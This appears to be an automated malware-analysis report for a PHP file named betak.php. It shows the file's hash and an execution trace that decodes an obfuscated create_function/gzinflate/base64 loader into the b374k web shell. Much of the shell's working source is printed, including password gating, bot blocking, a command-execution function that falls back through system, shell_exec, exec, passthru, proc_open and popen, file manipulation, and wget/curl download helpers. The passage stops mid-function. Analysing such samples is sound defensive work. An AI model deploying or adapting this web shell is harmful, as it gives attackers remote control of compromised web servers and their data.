PHP Malware Analysis

betak.php

md5: 6aa7684f306378b69ee6a945c05d9949

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/6aa7684f306378b69ee6a945c05d9949_trace-1676254818.2474.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:20:44.145216]
1	0	1	0.000237	393512
1	3	0	0.000968	509400	{main}	1		/var/www/html/uploads/betak.php	0	0
1		A						/var/www/html/uploads/betak.php	9	GLOBALS['pass'] = 'fec0b72fcf80c80fabc2bf7b0a3d5d2b8928d6b6'
1		A						/var/www/html/uploads/betak.php	10	$func = 'create_function'
2	4	0	0.001030	509400	create_function	0		/var/www/html/uploads/betak.php	10	2	'$x'	'eval("?>".gzinflate(base64_decode($x)));'
3	5	0	0.001065	510936	{internal eval}	1		/var/www/html/uploads/betak.php	10	0
3	5	1	0.001079	510936
3	5	R			NULL
2	4	1	0.001094	510416
2	4	R			'\000lambda_13'
1		A						/var/www/html/uploads/betak.php	10	$b374k = '\000lambda_13'
2	6	0	0.001122	510352	__lambda_func	1		/var/www/html/uploads/betak.php	10	1	'7P1pu+I4sigKf69fQa+Tt9dam8y0wYDtysrsNmAzz8YMXXXz8WyDJzxiuvq/X8k2YIY1ZFXt/Z73nlv9dC4shUIhKRSKCEmhX/7haE7hQ6s/qlP92b8eTVsKDPm7b383bF56/K3wtcC7Lh8/Pch7x7Bd2X34WHjwZdfULd6Av+Uw/SvaVii7Pvwp8T4v8J4Mf+uWYsO/Jq8nYJbsR7a7hT8d1xZlz5O9h+cv//j2C6TkpzMlruzZgQsAHn/716OA4ZVtQs2Dxi3Xrjuo0FZN3VBTrUHEdp/UlhNSbUrlvdatxhGBsBtkJCu4P57NWlg32qy5ZVxSjDVqiUg/DLZIj9LMNrEhnYE2nxM8Uas09tYEW1SVPhOZvaqiLytdjtxbMWkTLaxcZPeOtvPIhrLRZrumJuseZ2+2RltoD8V+c1jC212+tXWa7ZYmMU1na1hLCeGHEd8aqNxCtZd2mzPL4W7rL7AxbW6byBpv1P1Zj4m41XK0JEqRpCHmamhqZBCX'
3	7	0	0.001216	510352	base64_decode	0		/var/www/html/uploads/betak.php(10) : runtime-created function	1	1	'7P1pu+I4sigKf69fQa+Tt9dam8y0wYDtysrsNmAzz8YMXXXz8WyDJzxiuvq/X8k2YIY1ZFXt/Z73nlv9dC4shUIhKRSKCEmhX/7haE7hQ6s/qlP92b8eTVsKDPm7b383bF56/K3wtcC7Lh8/Pch7x7Bd2X34WHjwZdfULd6Av+Uw/SvaVii7Pvwp8T4v8J4Mf+uWYsO/Jq8nYJbsR7a7hT8d1xZlz5O9h+cv//j2C6TkpzMlruzZgQsAHn/716OA4ZVtQs2Dxi3Xrjuo0FZN3VBTrUHEdp/UlhNSbUrlvdatxhGBsBtkJCu4P57NWlg32qy5ZVxSjDVqiUg/DLZIj9LMNrEhnYE2nxM8Uas09tYEW1SVPhOZvaqiLytdjtxbMWkTLaxcZPeOtvPIhrLRZrumJuseZ2+2RltoD8V+c1jC212+tXWa7ZYmMU1na1hLCeGHEd8aqNxCtZd2mzPL4W7rL7AxbW6byBpv1P1Zj4m41XK0JEqRpCHmamhqZBCX'
3	7	1	0.001568	625072
3	7	R			'�i��8�(\n�_A����Z�̴������6`3��\f]u��l�\'<b���_�6`�5dU���[�t.,�B!)\024�\bI�_��hN�C�?�S�ٿ\036M[\n\f��o7l^z���.\037?=�{ǰ]�}�Xx�e��-ހ��0�+�V(�>�)�>/�\f�bÿ&�\'`��G���?\035�\026eϓ���/���\v��3%��ف\v\000\036�ף��mB̓�-׮;��VM�PS�A�v�Ԗ\023RmJ�֭�\021��\033d$+�?��ZX7ڬ�e\\R�5j�H?\f�H���6�!��6�\023<Q�4��\004[T�>\023����/+]��[1i\023-�\\d����Ȇ��f��&�\036go�F[h\017�~sX��]��u��&1MgkXK\t�\021�\032��B��v�3��n�/�1mn��\032o�Y����r�$J��!�jhjd\020�;\vk���%�Z�t�(l&�p�+�.U$l}I6ꈂJf��\016\025�E[n��\017'
3	8	0	0.003100	625040	gzinflate	0		/var/www/html/uploads/betak.php(10) : runtime-created function	1	1	'�i��8�(\n�_A����Z�̴������6`3��\f]u��l�\'<b���_�6`�5dU���[�t.,�B!)\024�\bI�_��hN�C�?�S�ٿ\036M[\n\f��o7l^z���.\037?=�{ǰ]�}�Xx�e��-ހ��0�+�V(�>�)�>/�\f�bÿ&�\'`��G���?\035�\026eϓ���/���\v��3%��ف\v\000\036�ף��mB̓�-׮;��VM�PS�A�v�Ԗ\023RmJ�֭�\021��\033d$+�?��ZX7ڬ�e\\R�5j�H?\f�H���6�!��6�\023<Q�4��\004[T�>\023����/+]��[1i\023-�\\d����Ȇ��f��&�\036go�F[h\017�~sX��]��u��&1MgkXK\t�\021�\032��B��v�3��n�/�1mn��\032o�Y����r�$J��!�jhjd\020�;\vk���%�Z�t�(l&�p�+�.U$l}I6ꈂJf��\016\025�E[n��\017'
3	8	1	0.005140	838064
3	8	R			'<?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php\n$GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlB'
3	9	0	0.008463	1480536	eval	1	'?><?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php\n$GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";\n$GLOBALS[\'resources\'][\'mime\'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";\n$GLOBALS[\'resources\'][\'arrow\'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";\n?><?php\n$GLOBALS[\'ver\'] = "3.2.3";\n$GLOBALS[\'title\'] = "b374k"; @ob_start();\nerror_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);\n@ini_set(\'html_errors\',\'0\');\n@ini_set(\'display_errors\',\'1\');\n@ini_set(\'display_startup_errors\',\'1\');\n@ini_set(\'log_errors\',\'0\');\n@set_time_limit(0);\n@clearstatcache(); if(!function_exists(\'auth\')){ function auth(){ if(isset($GLOBALS[\'pass\']) && (trim($GLOBALS[\'pass\'])!=\'\')){ $c = $_COOKIE; $p = $_POST; if(isset($p[\'pass\'])){ $your_pass = sha1(md5($p[\'pass\'])); if($your_pass==$GLOBALS[\'pass\']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c[\'pass\']) || ((isset($c[\'pass\'])&&($c[\'pass\']!=$GLOBALS[\'pass\'])))){ $res = "<!doctype html> <html> <head> <meta charset=\'utf-8\'> <meta name=\'robots\' content=\'noindex, nofollow, noarchive\'> <meta name=\'viewport\' content=\'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0\'> </head> <body style=\'background:#f8f8f8;color:#000000;padding:0;margin:0;\'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type=\'text/javascript\'> var d = document; d.write(\\"<br><br><form method=\'post\'><center><input type=\'password\' id=\'pass\' name=\'pass\' style=\'font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;\'></center></form>\\"); d.getElementById(\'pass\').focus(); d.getElementById(\'pass\').setAttribute(\'autocomplete\', \'off\'); </script> </body></html> "; echo $res; die(); } } }\n} if(!function_exists(\'get_server_info\')){ function get_server_info(){ $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:$_SERVER["HTTP_HOST"]; $server_info[\'ip_adrress\'] = "Server IP : ".$server_addr." <span class=\'strong\'>|</span> Your IP : ".$_SERVER[\'REMOTE_ADDR\']; $server_info[\'time_at_server\'] = "Time <span class=\'strong\'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info[\'uname\'] = php_uname(); $server_software = (getenv(\'SERVER_SOFTWARE\')!=\'\')? getenv(\'SERVER_SOFTWARE\')." <span class=\'strong\'>|</span> ":\'\'; $server_info[\'software\'] = $server_software." PHP ".phpversion(); return $server_info; }\n} if(!function_exists(\'get_self\')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); }\n} if(!function_exists(\'get_post\')){ function get_post(){ return fix_magic_quote($_POST); }\n} if(!function_exists(\'get_nav\')){ function get_nav($path){ return parse_dir($path); }\n} if(!function_exists(\'get_cwd\')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE[\'cwd\'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE[\'cwd\']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; }\n} if(!function_exists(\'wrap_with_quotes\')){ function wrap_with_quotes($str){ return "\\"".$str."\\""; }\n} if(!function_exists(\'get_resource\')){ function get_resource($type){ if(isset($GLOBALS[\'resources\'][$type])){ return gzinflate(base64_decode($GLOBALS[\'resources\'][$type])); } return false; }\n} if(!function_exists(\'block_bot\')){ function block_bot(){ if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } }\n} if(!function_exists(\'is_win\')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; }\n} if(!function_exists(\'fix_magic_quote\')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\\\'\\\'", "\\\'", $v)); } } } return $arr; }\n} if(!function_exists(\'execute\')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable(\'system\') && function_exists(\'system\')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'shell_exec\') && function_exists(\'shell_exec\')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable(\'exec\') && function_exists(\'exec\')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable(\'passthru\') && function_exists(\'passthru\')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'proc_open\') && function_exists(\'proc_open\')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable(\'popen\') && function_exists(\'popen\')){ $res = @popen($code, \'r\'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; }\n} if(!function_exists(\'html_safe\')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); }\n} if(!function_exists(\'parse_dir\')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class=\'navbar\' data-path=\'".html_safe($x)."\'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); }\n} if(!function_exists(\'zip\')){ function zip($files, $archive){ $status = false; if(!extension_loaded(\'zip\')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), \'\', $file); $file = str_replace(\'\\\\\', \'/\', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace(\'\\\\\', \'/\', $iterator); if(in_array(substr($iterator, strrpos($iterator, \'/\')+1), array(\'.\', \'..\'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.\'/\', \'\', $iterator.\'/\')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.\'/\', \'\', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; }\n} if(!function_exists(\'compress\')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type==\'zip\'){ if(zip($files, $archive)) return true; else return false; } elseif(($type==\'tar\')||($type==\'targz\')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type==\'tar\') execute("tar cf \\"".$archive."\\" ".implode(" ", $lists)); elseif($type==\'targz\') execute("tar czf \\"".$archive."\\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; }\n} if(!function_exists(\'decompress\')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type==\'unzip\'){ if(class_exists(\'ZipArchive\')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type==\'untar\'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type==\'untargz\'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; }\n} if(!function_exists(\'download\')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; }\n} if(!function_exists(\'get_fileperms\')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = \'u\'; if(($perms & 0xC000) == 0xC000)$flag = \'s\'; elseif(($perms & 0xA000) == 0xA000)$flag = \'l\'; elseif(($perms & 0x8000) == 0x8000)$flag = \'-\'; elseif(($perms & 0x6000) == 0x6000)$flag = \'b\'; elseif(($perms & 0x4000) == 0x4000)$flag = \'d\'; elseif(($perms & 0x2000) == 0x2000)$flag = \'c\'; elseif(($perms & 0x1000) == 0x1000)$flag = \'p\'; $flag .= ($perms & 00400)? \'r\':\'-\'; $flag .= ($perms & 00200)? \'w\':\'-\'; $flag .= ($perms & 00100)? \'x\':\'-\'; $flag .= ($perms & 00040)? \'r\':\'-\'; $flag .= ($perms & 00020)? \'w\':\'-\'; $flag .= ($perms & 00010)? \'x\':\'-\'; $flag .= ($perms & 00004)? \'r\':\'-\'; $flag .= ($perms & 00002)? \'w\':\'-\'; $flag .= ($perms & 00001)? \'x\':\'-\'; return $flag; } else return "???????????"; }\n} if(!function_exists(\'format_bit\')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; }\n} if(!function_exists(\'get_filesize\')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; }\n} if(!function_exists(\'get_filemtime\')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); }\n} if(!function_exists(\'get_fileowner\')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name[\'name\'].":".$group[\'name\']; } return $owner; }\n} if(!function_exists(\'rmdirs\')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; }\n} if(!function_exists(\'copys\')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; }\n} if(!function_exists(\'get_all_files\')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.\'*\'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.\'*\'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; }\n} if(!function_exists(\'read_file\')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; }\n} if(!function_exists(\'write_file\')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; }\n} if(!function_exists(\'view_file\')){ function view_file($file, $type, $preserveTimestamp=\'true\'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = \'image\'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get(\'highlight.default\'), "hl_keyword"=> ini_get(\'highlight.keyword\'), "hl_string"=> ini_get(\'highlight.string\'), "hl_html"=> ini_get(\'highlight.html\'), "hl_comment"=> ini_get(\'highlight.comment\') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\\"".$v."\\">", "<font class=\'".$k."\'>", $content); $content = str_replace("<span style=\\"color: ".$v."\\">", "<span class=\'".$k."\'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class=\'strong\'>(</span> ".$image_info[\'mime\']." <span class=\'strong\'>)</span><br> Image Size = <span class=\'strong\'>( </span>".$width." x ".$height."<span class=\'strong\'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id=\'viewFullsize\'> <span class=\'strong\'>[ </span>View Full Size<span class=\'strong\'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id=\'viewImage\' style=\'width:".$width."px;\' src=\'data:".$image_info[\'mime\'].";base64,".base64_encode(read_file($file))."\' alt=\'".$file."\'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src=\'\' type=\'".$mime."\'> </video> <p><span class=\'button\' onclick=\\"multimedia(\'".html_safe(addslashes($file))."\');\\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = 